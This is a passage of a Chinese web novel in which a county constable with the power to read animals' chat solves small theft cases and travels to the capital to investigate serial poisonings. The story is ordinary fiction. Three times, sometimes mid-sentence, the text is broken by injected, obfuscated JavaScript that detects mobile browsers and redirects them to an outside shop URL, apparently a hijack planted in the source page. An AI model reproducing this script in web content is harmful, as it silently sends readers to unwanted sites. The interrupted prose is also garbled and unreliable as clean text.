那家妇人听了,先是愣住,然后哇的一声哭骂起来:“我的鸡啊,养了两年的鸡啊,怎么说跑就跑了!” 案子就这么结了。 回去路上,崔宁一路蹦蹦跳跳,嘴里念叨:“原来不是偷的,是鸡自己跑了。穆姐姐,你是怎么知道它是从洞里钻出去的?” 穆青青道:“先看现场,再看痕迹,再想可能。鸡爪印、洞口的毛、门闩的位置,这些加在一起,就能猜个大概。” 崔宁认真听着,点头道:“我记住了。先看现场,再看痕迹,再想可能。” 又有一回,崔安也跟着来了,当时也是一起鸡丢失的案子,城南有户人家报官,说自家养的鸡少了一只。 那户人家姓周,是个卖豆腐的,日子过得也不宽裕。周大嫂的男人每天天不亮就起来磨豆腐,她就负责喂鸡、卖豆腐。家里有三只鸡,下蛋勤,每天能收两三个蛋,攒起来拿到集市上卖,换些油盐。 周大嫂站在院里,眼圈红红的:“穆捕头,昨儿晚上还好好的,今早起来就少了一只。笼门开着,地上有血,肯定是被偷了!” 穆青青带着崔安崔宁去看现场。 鸡笼靠着东墙,笼门大开。地上有几滴血,已经干了,颜色发黑。还有一串模糊的脚印,一直延伸到墙根。 崔安蹲下来看那串脚印,看了半天,道:“穆姐姐,这脚印……是狗的。” 59. 借调京城 穆青青走过去:“怎么看出来的?” 崔安指着那串脚印:“狗的脚印比人的小,前掌四个爪印,后掌一个掌垫。而且狗走路的时候,前掌和后掌的印子会有一部分重叠。这串印子,就是这样的。” 穆青青点点头,示意他继续。 崔安顺着脚印走到墙根,墙根处有个狗洞,不大,刚好够一条狗钻进去。洞口有几根狗毛,黄色的,粗硬。还有一小摊血,已经干了。 他站起身,往狗洞外面看去。洞外是一条窄巷,巷子里也有一串脚印,歪歪扭扭的,消失在巷子尽头。 崔安道:“狗从这儿钻进来,咬死鸡,叼着从原路出去了。所以院里只有进来的脚印,没有出去的,它出去也是从那个洞。” 穆青青问:“那你怎么知道是狗,不是别的畜生?” 崔安想了想,道:“狗偷鸡,会咬死,但不会当场吃掉,它会叼走。黄鼠狼也会偷鸡,但黄鼠狼的脚印小,而且是拖着走,不是叼着走。这串脚印没有拖痕,是叼着走的。” 穆青青笑了。 这孩子,学得挺快。 她转身对周大嫂道:“你家养狗吗?” 周大嫂摇头:“没有。” 穆青青又问:“隔壁邻居家呢?” 周大嫂想了想:“隔壁老孙家有条大黄狗,成天在巷子里晃。” 穆青青点点头,带着崔安崔宁去了隔壁。 老孙正在院里劈柴,见官差来了,吓了一跳。 穆青青问:“孙大爷,你家那条狗呢?” 老孙道:“在院里呢,怎么了?” 穆青青往院里一看,一条大黄狗正趴在墙角,嘴里还在嚼着什么。见有人来,它警惕地抬起头,嘴角还挂着几根鸡毛。 老孙也看见了,脸色一下子变了:“这……这畜生……” 周大嫂跟在后面,看见那几根鸡毛,眼睛一下子就红了:“是它!是它偷了我的鸡!” 最后那条大黄狗被老孙拴起来,准备隔天就拉去卖了。 见了鲜血的狗不能养了,否则它见天的就想去咬鸡鸭吃,卖了得的钱赔给周大嫂,也算是一个交代。 可鸡没了就是没了,就算重新买小鸡,喂养到长大能下蛋,也还是需要一段时间的。 周大嫂站在那儿,看着那几根鸡毛,眼泪啪嗒啪嗒往下掉。 崔宁在旁边看着,小脸绷得紧紧的。 过了好一会儿,周大嫂用袖子擦了擦脸,对穆青青道:“穆捕头,劳烦您跑一趟了。鸡……鸡没了就没了吧,横竖也找不回来了。” 她说着,转身慢慢走回家去了。 回去路上,崔安和崔宁都没说话。 快走到县衙的时候,崔宁忽然问:“穆姐姐,那个婶子,她为什么不骂人?明明是别人家的狗偷了她的鸡。” 穆青青沉默了一会儿,道:“因为她知道,骂了也没用。狗是畜生,不懂事。它主人愿意赔就赔,不愿意赔,她也告不赢。闹大了,反而得罪邻居,往后日子更难。” 崔宁听着,眼圈慢慢红了。 她小声说:“我以前不知道,过日子这么难。” 穆青青看着她,轻声道:“现在知道了。” 崔安站在一旁,忽然开口:“穆姐姐,我记住了。” 穆青青问:“记住什么?” 崔安道:“记住了普通人过日子不仅仅是非黑即白,还有很多的人情世故在里面。” 穆青青看着他,心里有些欣慰。 这孩子,往后说不定真能成个好官。 那天回衙门后,穆青青写案情报告归档,崔宁趴在旁边看。 崔宁忽然问:“穆姐姐,你说书商卖的那些侦破小故事都是真的吗?” 穆青青笔尖顿了顿:“有的是真的,有的是编的。” 崔宁眨眨眼:“那你怎么知道哪些是真的,哪些是编的?” 穆青青想了想,道:“真的故事会有一些细节,编不出来。比如今天那个周大嫂,她看见鸡没了,没哭出声,就站在那儿,攥着衣角,肩膀一抖一抖的。这个细节是编故事的人想不出来的,只有亲眼见过的人才知道。” 崔宁听着,点点头。 过了会儿,她又问:“穆姐姐,那你有没有想过去京城看看?” 穆青青愣了一下:“怎么突然问这个?” 崔宁道:“我表哥在京城,他经常跟我说,六扇门可厉害了。有个女捕快,姓余,专门验毒的,能从一碗茶里验出十七种药材。还有个女捕快,姓林,轻功可好了,能翻墙在屋顶上追坏人。” 她说着说着,眼睛亮晶晶的:“穆姐姐,你要是去了,肯定也能成最厉害的!” 穆青青笑着摇头:“我在丰城挺好的,去京城做什么?” 崔宁急了:“京城多好啊!能破大案子!能见世面!能……” 她想了想,憋出一句:“能认识更多厉害的人!” 穆青青被她逗笑了,揉揉她的脑袋。 “再说吧。” 那天夜里,穆青青躺在床上,却怎么也睡不着。 京城。六扇门。 崔宁提到的那些名字,她听过。江州办案时,她们甚至还并肩战斗过。 可京城对她来说,太远了。 她连自己是谁都不知道,去京城做什么? 她翻了个身,看着窗外的月光。 月光清冷,洒在院子里,把梧桐树的影子拉得老长。 墙头蹲着几只猫,毛茸茸的影子,在月光下一动不动。 光幕亮了。 【梧桐巷·深夜(当前在线:4)】 玳瑁猫:【喵……橘胖子,你来这里做啥?】 橘点点:【喵呜?你才胖,你还丑呢!】 玳瑁猫:【喵……你那个搭档呢?它怎么没来?】 橘点点:【喵呜,搭档?什么搭档,那是我小弟!】 墙缝蛐蛐:【瞿瞿!今晚好吵,怎么有猫在吵架。】 穆青青看着那几行字,心里忽然软了一下。 她轻轻推开窗,放了两条小鱼干在窗台上。 玳瑁猫跳下来,叼起一条,却没吃,而是抬头看着她。 橘点点也是轻车熟路地跳下来,叼着小鱼干就大口大口吃了起来。 穆青青看着它们,轻声道:“快吃吧,不过,只有这两条小鱼干哟。” 玳瑁猫低头吃鱼,橘点点吃得快,几口就吞完了,抬起头眼巴巴地看着穆青青,尾巴摇得像风车。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226873|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【橘点点:喵呜!还有吗?就两条?本喵还没吃饱!】 穆青青摊摊手:“没了。明天吧。” 橘点点失望地垂下尾巴,舔舔嘴,在窗台上蹭了蹭,又跳下墙头,晃晃悠悠走了。玳瑁猫吃完最后一口,慢条斯理地舔着爪子,一副“本喵不急”的样子。 【玳瑁猫:喵……那个两脚兽,你最近好像有心事。】 穆青青愣了一下。 【你怎么知道?】 玳瑁猫:【喵……你喂鱼的时候走神了。平时你会多摸本喵两下,今天没有。】 穆青青忍不住笑了。 这小家伙,倒是观察得仔细。 她伸手摸了摸玳瑁猫的脑袋。玳瑁猫眯起眼,发出轻轻的呼噜声,却没躲开。 玳瑁猫:【喵……还行。原谅你了。】 穆青青看着它,心里那点沉甸甸的东西,好像轻了一些。 腊月里的日子,过得比平时快。 穆青青照常去县衙点卯,照常处理那些鸡毛蒜皮的小案子。崔安和崔宁还是天天跟着她跑。 崔宁叽叽喳喳问个不停,穆青青一一答着,也不嫌麻烦。 崔安话少,但问的都是实在的:“穆姐姐,你知道六扇门的人办案跟咱们有什么不一样吗?” 穆青青想了想,道:“京城人手足,分工细。有人专门验尸,有人专门查账,有人专门盯梢。一个人只做一件事,做得精。咱们县衙人少,一个人得干好几样,但看得全。” 崔安点点头,若有所思。 腊月二十那天下了一场大雪。 穆青青站在窗前,看着院子里积起来的雪,想着再过几天就是小年了。崔夫人前几天来问过,问她今年过年怎么打算,要不要去县衙后院一起吃年夜饭。 她还没想好。 正想着,院门忽然被敲响了。 来的是个驿卒,骑着马,身上落满了雪,手里拿着一封盖着朱红大印的公函。 “丰城县衙穆捕头?六扇门急件。” 穆青青接过,签了回执,关上门。 公函是正式的,落款是六扇门缉捕司。大意是说京城连环命案案情复杂,急需人手,经刑部核准,特借调丰城县捕头穆青青赴京协助办案,期限暂定三月。请丰城县衙予以配合,即日启程。 随公函附着一封私信,是寇晟亲笔: “江州一别,倏忽半载。京城近日连发三案,死者皆为中年男子,死状相似,现场却无任何线索可循。余肖红验尸发现,三人皆中同一种慢性奇毒,此毒配制需特殊药材,非寻常药铺所有。我与余捕快、林捕快皆觉此案蹊跷,但苦于找不到突破口。想起姑娘在江州案中明察秋毫,或能看出我等遗漏之处。若姑娘方便,望来京一助。专案组已正式发文借调,丰城那边,我自会与崔大人说明。” 穆青青拿着信,站在窗前看了很久。 雪还在下,细细碎碎的,落在院子里,落在墙头上,落在那只蹲在墙头打盹的玳瑁猫身上。 她居然这么快就要去京城了。 不知怎的,她突然低头看了看自己的左手腕。 那圈白色的痕迹几近消失,只在光线下隐隐可见。 也不知道这趟去京城,会不会一切顺利? 60. 除夕夜(1) 消息传开,梧桐巷里热闹了几天。 王娘子第一个跑来,站在院里嗓门亮得半条巷子都能听见:“穆姑娘要去京城了?哎哟喂,那可是天子脚下!我听人说,京城的大街上随便抓一个人都是当大官的!” 穆青青笑着应付了几句。 李掌柜随后送来一包茶叶,说是路上喝的,泡水能提神。话不多,但人情到了。 赵阿婆也来了,端着一碗刚煮好的红糖鸡蛋,往桌上一放,没说几句话就走了。她脚边跟着几只猫,在门口探头探脑。 穆青青看着那碗红糖鸡蛋,心里暖暖的。 最让她头疼的,是怎么跟崔家两个孩子说。 崔宁听了,眼圈一下子就红了,忍着没哭,只是拉着她的袖子不放:“穆姐姐,你去多久?三个月?那过年呢?过年你在哪儿过?” 穆青青道:“估计只能在路上过了……公务在身,这也是没办法的事。” 崔宁的眼泪终于掉下来了:“那……那你一个人在路上过年?多冷清啊……” 穆青青揉揉她的脑袋:“不会的。路上驿站的人也不少,我可以和他们一起过年。” 崔宁抽抽搭搭的,好半天才止住。 崔安站在旁边,一直没说话。 等崔宁被崔夫人叫走了,他才开口,声音闷闷的:“穆姐姐,你去京城是破什么案子?” 穆青青只把案子能说的内容简单提了一下。 崔安听完,沉默了一会儿,忽然道:“穆姐姐,你去了京城还会回来吗?” 穆青青愣了一下:“当然回来了。最多三个月就回来了。” 崔安看着她,眼神认真:“那你走了,丰城的案子怎么办?” 穆青青道:“有赵捕头他们在呢,而且,不是还有你和宁宁两人能帮帮忙吗。” 崔安低下头,好一会儿才说:“我,我怕我办不好。” 穆青青蹲下身,平视着他的眼睛。 “只是从旁帮忙赵捕头他们的话,你肯定办得好。”她道,“这么多天,你本领学了不少。遇事多看现场,多想可能,别急着下结论。实在拿不准的,多问问崔县令和师爷他们,实在不行也可以写信问我。” 崔安点点头,眼眶有点红,但忍着没哭。 穆青青拍拍他的肩膀,站起身。 窗外,墙头上蹲着几只猫,挤挤挨挨的,尾巴一摇一摇。 光幕亮了。 【梧桐巷(当前在线:8)】 玳瑁猫:【喵……两脚兽们在做什么?看着不太喜庆啊。】 瓦片:【喵,肯定是又要出远门啦?她已经就出门过好几天。】 橘点点:【喵呜……京城吗?那儿有很多鱼吗?】 玳瑁猫:【喵呜……那她什么时候回来?】 瓦片:【喵……她说三个月。】 王家芦花鸡:【咯咯哒!下蛋啦!下单啦!】 李家看门狗:【汪汪汪!她一个人出门吗?不带大黑去吗?……】 灰鹦鹉:【平安!平安!早点回来!】 穆青青看着那几行字,心里软软的。 她从抽屉里摸出一大把小鱼干,推开窗,放在窗台上。 “我不在的时候,你们自己分。” 玳瑁猫跳下来,低头嗅了嗅,没吃,只是抬头看着她。 【玳瑁猫:喵……记得回来。】 穆青青点点头。 腊月二十三,小年。 穆青青启程的日子。 天刚蒙蒙亮,梧桐巷还睡着。她轻轻推开院门,提着行囊往外走。 走到巷口,她忽然停住脚步。 巷口站着几个人。 崔县令和崔夫人,宋师爷,赵捕头,陆金一、陆金二,还有崔安和崔宁。 他们站在那里,像是一早就等着的。 崔宁跑过来,一把抱住她,眼泪汪汪的。 “穆姐姐,你……你一定要回来过年……不对,过完年也要回来……” 穆青青揉揉她的脑袋,轻声道:“会的。三个月而已,很快就过去了。” 崔安站在一旁,没说话,只是看着她。 穆青青走过去,拍了拍他的肩膀。 “那些我教你的,好好练。丰城的案子,就离不开你哦。” 崔安用力点头。 赵捕头走过来,塞给她一个包袱:“路上吃的,刘婶一大早起来烙的饼。还有,这个——”他又递过来一个油纸包,“这是兄弟们凑的,你路上买点热乎的吃。” 穆青青接过来,道了声谢。 宋师爷捻着断指,慢悠悠道:“京城不比丰城,凡事多留个心眼。有什么事,写信回来。” 穆青青点头:“记住了。” 崔县令和崔夫人站在最前面。 崔夫人拉着她的手,眼眶红红的,却笑着:“去了好好干,别怕,有啥难处写信回来。路上过年的时候要是太冷清了,记得给自己多买点好吃的,别省着。” 穆青青心里一热,轻声道:“夫人保重。” 崔县令捻着胡须,看着她,忽然道:“穆捕头,你虽不是我丰城人,但这些日子,丰城百姓早就将你看做了自己人。无论走到哪里,丰城都记得你。” 穆青青深深一揖。 “多谢大人。” 她转身,往巷子外走去。 雪还在下,细细碎碎的,落在她的肩上、发上。 走出几步,她忽然听见身后传来一阵窸窸窣窣的声响。 回头一看,墙头上蹲着一排猫。 玳瑁猫、橘点点,瓦片,还有几只平时不怎么露面的野猫,挤挤挨挨的,尾巴一摇一摇。 光幕亮了。 【梧桐巷(当前在线:8)】 玳瑁猫:【喵……真的走了啊?】 橘胖子:【喵呜!记得带鱼回来!】 瓦片:【喵……京城的鱼应该好吃。】 大黑:【汪汪!一路顺利!不过,到底是谁要走了啊?】 墙缝蛐蛐:【瞿瞿……走吧走吧,安静点才好!】 灰鹦鹉:【平安!平安!发财!发财!】 灰老鼠丙:【吱吱!我二舅姥爷家三表哥生八胎啦,附近的亲戚都记得去吃席啊!】 穆青青看着那几行字,忍不住笑了。 她朝它们挥挥手,转身,大步往前走。 晨光铺满官道,两边的田野覆着薄雪,远处有几只鸟在叫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232386|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穆青青骑在马上,回头看了一眼。 丰城的城墙在晨雾里渐渐模糊,梧桐巷的影子早已看不见。 可她知道,那些人,那些事,那些猫猫狗狗,都在那里。 在等着她回来。 她转过头,看向前方。 前方京城,一切都是未知。 从丰城县赶往京城,快的话也得半个月。 穆青青很郁闷。 她来到这大曜王朝快两年了,去年过年的时候因为刚搬家,随便糊弄一下也就过去了;今年过年的时候更惨,居然是在赶路途中过年。 唉,只希望明年过年的时候,能有个正经过年的样子吧。 腊月二十四,她赶到清江县,在驿站歇了一晚。 腊月二十五,过临江府,换了匹马,继续赶路。 腊月二十六,她到了江州地界,就是去年办“绣娘索命案”的地方。路过城门口时,她勒住马,往里看了一眼。慈恩寺的塔尖在暮色里隐约可见。她没进城,继续往北走。 腊月二十七,下了一场大雪,她被困在半路一个村子里,借宿在一户老农家。老两口人不错,给她腾了间柴房,虽然冷,但总比露宿强。 腊月二十八,雪停了,她继续赶路。 腊月二十九,她路过一个叫“黄土坡”的小镇,吃了碗热汤面,面硬汤咸,但好歹是热的。 腊月三十,除夕。穆青青赶到了一座叫“太平驿”的驿站。 天色已经暗了,驿站的灯笼亮着昏黄的光,在风雪里晃晃悠悠。院子里停着几辆马车,马棚里传来马匹的喷鼻声。 穆青青翻身下马,牵着往里走。 一个驿卒迎出来,接过马缰,道:“客官住店?今晚可是除夕,我们这儿有年夜饭,凑合着吃一顿。” 穆青青点点头:“住一晚,明早赶路。” 驿卒把马牵去马棚,穆青青提着行囊进了屋,一惊。这大过年的,屋内居然坐满了赶路的人。 驿站不大,前后两进,前面是饭堂,后面是客房。饭堂里烧着炭盆,暖烘烘的,几张桌子旁坐着七八个人,有商贾模样的,有赶路的书生,还有几个带着刀的镖师。 穆青青要了碗热汤面,在角落里找了个位置坐下。 面还没上来,外面忽然传来一阵吵闹声。 “官爷!官爷您可得给我做主啊!”一个女人的声音,又尖又急,“我的钱袋子被人偷了!那可是我一年攒下的体己钱啊!” 穆青青抬头看去。 一个三十来岁的妇人冲进饭堂,穿着青布棉袄,头发有些散乱,脸上全是泪痕。她身后跟着一个驿丞模样的老头,满脸为难。 饭堂里的人纷纷看过去。 驿丞道:“刘嫂子,你别急,慢慢说。钱袋子什么时候丢的?在哪儿丢的?” 刘嫂子抹着眼泪道:“就刚才!我在后院打水,一转身的功夫,我放在窗台上的包袱就不见了!那里面有三两银子,是我在驿站帮工一年攒下的,打算带回老家过年的啊!” 三两银子。 穆青青端着碗,目光扫过饭堂里的人。 七八个人,表情各异。有同情的,有看热闹的,有若无其事继续吃饭的。 61. 除夕夜(2) 她注意到靠窗那桌坐着一个中年男子,穿着灰鼠皮袍,手上戴着一枚金戒指,正慢条斯理地喝茶,眼皮都没抬一下。 他旁边坐着一个年轻后生,像是他的随从,低着头,看不清脸。 另一桌有个挑担子的货郎,正在啃烧饼,眼睛却往刘嫂子那边瞟。 还有两个镖师,一个皱眉,一个面无表情。 穆青青收回目光,继续吃面。 驿丞已经带人去后院查看了。刘嫂子跟在后面,哭哭啼啼的。 饭堂里安静了一会儿,又渐渐恢复了说话声。 穆青青吃完面,正要起身去客房,忽然听见隔壁桌有人在低声嘀咕: “……这大过年的,丢银子,晦气。” “要我说,那刘嫂子也是糊涂,包袱里有那么多银子还敢放窗台上,不是招贼吗?” “谁知道是不是自己弄丢的,赖到别人头上。” 穆青青没理会,起身往后院走去。 她只是去后院打水洗漱。 后院不大,一口井,一个石槽,几间柴房。刘嫂子正蹲在井台边,手里攥着一块帕子,肩膀一抖一抖的。 驿丞站在旁边,手里提着一盏灯笼,满脸无奈。 穆青青走过去,打了桶水,正要离开,余光忽然扫到井台边的地上。 雪已经被踩乱了,但有一串脚印,不太明显。 她蹲下来,借着灯笼的光细看。 脚印不大,比成年男子的脚小,但比女子的脚大。鞋底的花纹很浅,像是旧鞋,磨得快平了。脚印的方向,是从后院通往……柴房那边? 穆青青顺着脚印看过去。 脚印消失在柴房门口。 她站起身,走到柴房门口。 门虚掩着,里面黑漆漆的。 驿丞跟过来,道:“穆姑娘?怎么了?” 穆青青没答话,推开门。 柴房里堆着干柴和杂物,地上有一层薄薄的雪,是被人踩进来带进来的。她蹲下细看,同样的脚印,在柴房里有几串,最后停在一个角落。 那个角落里堆着一捆干草,像是被人翻动过。 穆青青拨开干草,露出一个破旧的木箱。 木箱的盖子虚掩着。她打开一看,箱子里乱七八糟堆着些杂物,最上面正躺着一个青布钱袋子。 穆青青拿起来,掂了掂。 三两银子的重量。 她转身走出柴房,把钱袋子递给刘嫂子:“是这个吗?” 刘嫂子接过来一看,眼泪又涌出来了:“是!就是这个!我的钱!” 驿丞愣住了:“这……这怎么在柴房里?” 穆青青没答话,只是看着那串脚印。 脚印从井台到柴房,又从柴房折返回后院,最后消失在院墙边的一棵老槐树下。 她走到槐树边,仰头看了看。 树上积着雪,但有几根树枝上的雪明显少了一些,像是被人攀爬过。 她问驿丞:“这棵树后面,通哪儿?” 驿丞道:“后院墙外是一条巷子,巷子通往前街。” 穆青青点点头,心里有了数。 她走回饭堂,目光扫过那几个人。 灰鼠皮袍的中年男子还在喝茶,眼皮都没抬。他的随从低着头,手指却无意识地搓着衣角。 货郎已经吃完了,正在收拾担子,看样子准备走。 两个镖师还在喝酒。 穆青青走到柜台边,低声对驿丞说了几句话。 驿丞点点头,出去了一趟。 过了一会儿,他回来了,走到那中年男子桌前,拱手道:“这位客官,后院出了点事,劳烦几位移步,配合查问一下。” 中年男子抬起眼皮,慢条斯理道:“查问什么?我又没丢东西。” 驿丞陪笑道:“例行公事,很快就完。” 中年男子哼了一声,站起身,跟着往外走。他的随从跟在后面,低着头,脚步有些迟疑。 货郎也被请了出去。两个镖师倒是爽快,放下酒杯就跟着走了。 穆青青站在后院门口,看着这几个人依次走进院子。 她没进去,只是站在门口,看着他们的脚。 第一个,中年男子。靴子是新的,鞋底花纹清晰,深一脚浅一脚地踩在雪地上,脚印方正,不深不浅——正常体重。 第二个,随从。鞋是旧的,鞋底磨得快平了,踩下去的时候,脚印边缘有些毛糙,和柴房里的那串脚印一模一样。 穆青青盯着他的脚,嘴角微微弯了一下。 第三个,货郎。草鞋,鞋底是草编的,脚印浅,走得很轻。 第四个,镖师甲。厚底快靴,脚印深,步子大。 第五个,镖师乙。也是厚底快靴,但脚印比甲浅一些,步子也小一些。 穆青青收回目光,跟着走进后院。 驿丞已经把人都集中在井台边。刘嫂子站在一旁,手里攥着钱袋子,眼睛红红的。 穆青青走到那随从面前,看着他。 那随从二十出头,瘦瘦的,低着头,不敢看她。 “你刚才去哪儿了?”穆青青问。 随从身子微微一僵,小声道:“我……我在饭堂,没出来过。” 穆青青点点头,没再问。 她蹲下身,指着地上那串从柴房延伸过来的脚印,道:“这串脚印,是你的。” 随从脸色变了:“不、不是我的……” 穆青青指着他的鞋底:“鞋底磨得快平了,花纹和这串脚印一模一样。你自己低头看看。” 随从低头一看,脸色刷地白了。 穆青青站起身,继续道:“你把钱袋子偷走,本来想从后院墙翻出去跑路,结果发现外面有人经过,不敢动,只好先把钱袋子藏在柴房的木箱里,等风头过了再取。” 她指了指槐树上掉雪的地方:“你爬上去看过外面的情况,对不对?” 随从张了张嘴,说不出话来。 中年男子脸色铁青,一把揪住随从的领子:“你这个吃里扒外的东西!” 随从吓得腿都软了,扑通一声跪在地上:“老爷饶命!我、我就是一时糊涂……” 穆青青没再看他,转身往屋里走。 走了两步,她又停住,回头对驿丞道:“案子结了。银子还了,人你看着办。” 驿丞愣愣地点点头,看着她的眼神像是在看一个怪物。 饭堂里那几个看热闹的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236340|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也都愣住了。 货郎张着嘴,烧饼都忘了嚼。 两个镖师对视一眼,一个低声道:“这姑娘……是官差?” 另一个摇摇头,又点点头,满脸的难以置信。 穆青青没理会这些目光,提着行囊往客房走去。 走了几步,她又回头,对驿丞道:“对了,明早给我多准备一份干粮,路上吃。” 驿丞忙不迭点头:“是是是,姑娘放心。” 第二天一早,穆青青起来时,饭堂里已经有人在议论了。 “……听说了吗?昨晚那个案子,一个女捕快,看了几眼就破了!” “可不是嘛!我听驿丞说,她就蹲下来看了看脚印,又看了看柴房,就把贼揪出来了!” “那贼藏的钱袋子,就在柴房木箱里,她怎么知道的?” “谁知道!神了!” 穆青青低头吃面,装作没听见。 吃完面,她去马棚牵马。驿丞已经等在门口,手里拎着一个大包袱。 “穆姑娘,这是您要的干粮。还有这个——”他又递过来一个小布袋,“这是刘嫂子让我转交的,说是谢礼,您千万别推辞。” 穆青青打开一看,是几个热乎乎的煮鸡蛋。 她愣了一下,把布袋系好,揣进怀里。 “替我谢谢她。” 驿丞连连点头,忽然又压低声音道:“穆姑娘,您是哪个衙门的?这破案的手段,咱们这小地方可没见过。” 穆青青翻身上马,看了他一眼,没答话。 只是微微一笑,一夹马肚子,催马往前走去。 身后,驿丞站在原地,看着她的背影消失在晨雾里,嘴里还在念叨:“神了,真神了……” 此后的路上,穆青青再没碰到什么案子。 正月初三那天晚上,她在一个叫“柳河”的小镇落脚,在客栈里吃了顿简单的“大餐”:一盘饺子,一壶热酒。一个人坐在窗边,听着外面时不时响起的鞭炮声。 她想起去年在丰城,和小荷一起包饺子,和那只玳瑁猫一起守岁。 然后又想起梧桐巷的猫猫狗狗,想起玳瑁猫蹲在墙头的样子。 最后想到崔宁拉着她的袖子,眼泪汪汪地说“穆姐姐,你一个人在路上过年多冷清。” 她低头看着碗里的饺子,笑了笑。 不冷清。 路上也挺有意思的。 正月初八,穆青青终于抵达了京城。 那天,是个晴日。 积雪未消,屋顶上、树枝上,到处是白皑皑的一片。阳光照在上面,亮得晃眼。 城门口有人在等她。 是个年轻女子,穿着鸦青色劲装,外罩玄色披风,腰悬短刀,面容清秀,正是江州案时见过的余肖红。 “穆姑娘!”余肖红远远看见她,快步迎上来,脸上带着笑,“一路辛苦了!” 穆青青翻身下马,笑道:“余姐姐,又见面了。” 余肖红接过她的马缰,引着她往城里走,边走边道:“寇大人让我来接你。住处已经安排好了,你先歇一晚,案子的事明天再说。” 穆青青点点头,跟着她往里走。 京城比她想象的要大。 62. 东西南北(1) 街道宽阔,两旁店铺林立,人来人往,热闹得很。虽是冬日,卖糖葫芦的、卖烤红薯的、卖对联窗花的,吆喝声此起彼伏。 余肖红见她四处看,笑道:“头一回来京城?” 穆青青点点头。 “那可得好好逛逛。”余肖红道,“等案子结了,我带你去尝尝京城的小吃。东市的羊肉汤,西市的炸酱面,南街的糖火烧,都好吃。” 穆青青笑了:“好。” 两人穿过几条街,拐进一条巷子。巷子不宽,但干净整洁,两边是灰墙黑瓦的小院,门口种着些耐寒的花木。 余肖红停在一扇黑漆门前,推开院门。 “就这儿。六扇门给外地来的同僚准备的住处,独门独户,清静。你先住着,缺什么跟我说。” 院子不大,但收拾得齐整。正屋三间,东西厢房各一,院子里有一棵不认识的老树,光秃秃的枝干伸向天空。 穆青青看了一圈,心里满意。 余肖红又道:“晚饭我让人送来,你先歇着。寇大人说,明天一早你去六扇门,咱们一起把案子过一遍。” 穆青青应了。 余肖红走后,穆青青把行囊放下,在屋里转了一圈。 正屋有床有桌有柜,被褥是新换的,叠得整整齐齐。桌上放着一套茶具,旁边还有一碟点心。窗台上摆着一盆水仙,已经开了几朵,香气淡淡的。 她推开窗,冷风灌进来,带着巷子里的烟火气。 隔壁院子里传来炒菜的声音,锅铲碰着铁锅,叮叮当当的。再远一点,有孩子在笑,有狗在叫。 和丰城的梧桐巷,也没什么两样。 穆青青站在窗前,忽然想起什么,试着在脑海中唤出光幕。 光幕亮了。 【京城·甜水巷(当前在线:5)】 檐下麻雀:【啾!新来的!那个院子里新来了个两脚兽!】 墙头狸花:【喵……看见了。女的,年轻的,身上有墨味。】 隔壁黄狗:【汪!闻到了闻到了!她包袱里有肉干!】 墙角灰鼠:【吱吱!肉干?哪儿?哪儿?】 檐下麻雀:【啾!你别想!那是人家自己吃的!】 穆青青看着那几行字,嘴角忍不住弯了起来。 原来京城也有聊天群。 她想了想,用意念发了一条: 【大家好,我是新来的,以后请多关照。】 光幕安静了几秒。 墙头狸花:【喵?!谁在说话?!】 檐下麻雀:【啾!吓死我了!那个两脚兽在说话!】 隔壁黄狗:【汪!她能听懂我们?】 墙角灰鼠:【吱吱!跑!快跑!】 然后光幕就安静了。 穆青青等了一会儿,没人再说话。 她忍不住笑出声。 京城的猫猫狗狗,比丰城的胆小多了。 第二天一早,穆青青去了六扇门。 六扇门的衙门比她想象的要大。三进院落,灰墙黑瓦,门口蹲着两只石狮子,威风凛凛。进进出出的人穿着统一的公服,脚步匆匆,没人多看她一眼。 余肖红已经在门口等着了,见她来,招招手,领着她往里走。 穿过两道门,进了一间偏厅。屋里已经坐了几个人。 寇晟坐在上首,见她进来,微微点头。旁边坐着一个身材魁梧的中年男子,是赵统领赵义舒。再旁边是两个年轻女子:一个清秀文静,是余肖红;一个眉眼英气,是林霜。 还有几个她不认识的,看装束也是六扇门的人。 寇晟开门见山:“穆姑娘来了,咱们把案子再过一遍。” 他示意余肖红先说。 余肖红起身,走到墙上挂着的案情图前,指着上面的标记道:“两个月内,死了三个人。第一个姓周,五十二岁,开杂货铺的,独居北城槐树巷。第二个姓吴,四十八岁,是个穷秀才,租住在城南柳树井。第三个姓郑,五十六岁,退休小吏,独居城东甜水井。” 她顿了顿,继续道:“三人的死状相同,全都是脸色青灰,嘴唇发紫,七窍有少量血痕。验下来,是同一种毒,叫‘三更倒’。” 穆青青问:“这毒是什么来路?” 余肖红道:“此毒配制极难,需要四种特殊药材:南疆的断肠花、西域的曼陀罗、北地的雪上一枝蒿,还有一味,我们一直没验出来。” 穆青青道:“没验出来?” 